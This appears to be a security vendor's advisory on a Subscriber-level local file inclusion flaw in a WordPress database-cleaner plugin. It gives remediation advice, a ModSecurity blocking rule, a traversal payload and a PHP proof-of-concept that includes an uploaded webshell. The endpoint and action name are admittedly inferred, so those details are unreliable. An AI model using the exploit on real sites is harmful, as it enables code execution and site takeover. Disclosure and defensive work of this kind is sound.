Atomic Edge analysis of CVE-2026-7522 (metadata-based): This vulnerability affects the Advanced Database Cleaner – Premium plugin for WordPress versions up to and including 4.1.0. The flaw enables authenticated attackers with Subscriber-level access or higher to perform Local File Inclusion (LFI) via the ‘template’ parameter. With a CVSS score of 8.8 (High), this vulnerability poses significant risk due to low complexity and no requirement for user interaction.
Root Cause: The vulnerability stems from improper control of the filename used in a PHP include/require statement (CWE-98). The ‘template’ parameter likely passes user-supplied input directly into a PHP function like include() or require() without adequate sanitization or path restriction. Atomic Edge research infers that the plugin loads template files based on this parameter, and an attacker can manipulate it to include arbitrary .php files from the server. This conclusion is drawn from the CWE classification and description, as no source code diff is available.
Exploitation: An attacker with Subscriber-level access sends an authenticated request to an AJAX handler or admin page that processes the ‘template’ parameter. The likely endpoint is /wp-admin/admin-ajax.php with an action specific to the plugin, such as ‘advanced_db_cleaner_load_template’. The attacker provides a path to a .php file they uploaded (e.g., via the WordPress media library or a separate file upload vulnerability) or a local .php file containing malicious code. Example payload: action=advanced_db_cleaner_load_template&template=../../../../wp-content/uploads/evil.php. The plugin includes this file, executing the attacker’s PHP code.
Remediation: The patched version 4.1.1 likely addresses this by validating the ‘template’ parameter against an allowlist of permitted template filenames or paths. Additional hardening includes using realpath() to resolve the path and ensuring it falls within the plugin’s template directory. The plugin should also implement capability checks beyond Subscriber for any file inclusion functionality.
Impact: Successful exploitation allows arbitrary PHP code execution on the server. This can lead to complete site compromise, including data exfiltration from the database, installation of backdoors, privilege escalation to Administrator, and potential lateral movement within the hosting environment. The CVSS vector (C:H/I:H/A:H) confirms the highest possible impact on confidentiality, integrity, and availability.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-7522 (metadata-based)
# Block LFI via 'template' parameter in Advanced Database Cleaner - Premium AJAX handler
# This rule blocks path traversal patterns in the template parameter for the specific AJAX action.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-7522 - Advanced Database Cleaner - Premium LFI via template parameter',severity:'CRITICAL',tag:'CVE-2026-7522',tag:'wordpress',tag:'lfi'"
SecRule ARGS_POST:action "@streq advanced_db_cleaner_load_template" "chain"
SecRule ARGS_POST:template "@rx ../" ""
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7522 - Advanced Database Cleaner – Premium <= 4.1.0 - Authenticated (Subscriber+) Local File Inclusion via 'template'
<?php
/*
* Assumptions:
* - Target has the vulnerable plugin installed.
* - Attacker has a valid WordPress user account with Subscriber role or higher.
* - The vulnerable AJAX action is 'advanced_db_cleaner_load_template' (inferred from plugin slug).
* - A .php webshell has been uploaded to the WordPress uploads directory (e.g., via media upload).
* - Replace the placeholder values below with actual target details.
*/
$target_url = 'http://example.com'; // Change this to the target WordPress URL
$username = 'attacker'; // Valid WordPress username
$password = 'attacker_password'; // Password for the user
// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);
// Step 2: Exploit LFI via AJAX
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The plugin's AJAX action is inferred. Adjust if necessary.
$action = 'advanced_db_cleaner_load_template';
// Path to a .php file we uploaded or a local sensitive file.
// For demonstration, we include a webshell uploaded via WordPress media.
// The path is relative to the WordPress root and uses directory traversal.
$payload_file = '../../wp-content/uploads/evil.php'; // Change to your uploaded webshell path
$post_data = array(
'action' => $action,
'template' => $payload_file
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
echo "Exploit response:n";
echo $response;
?>
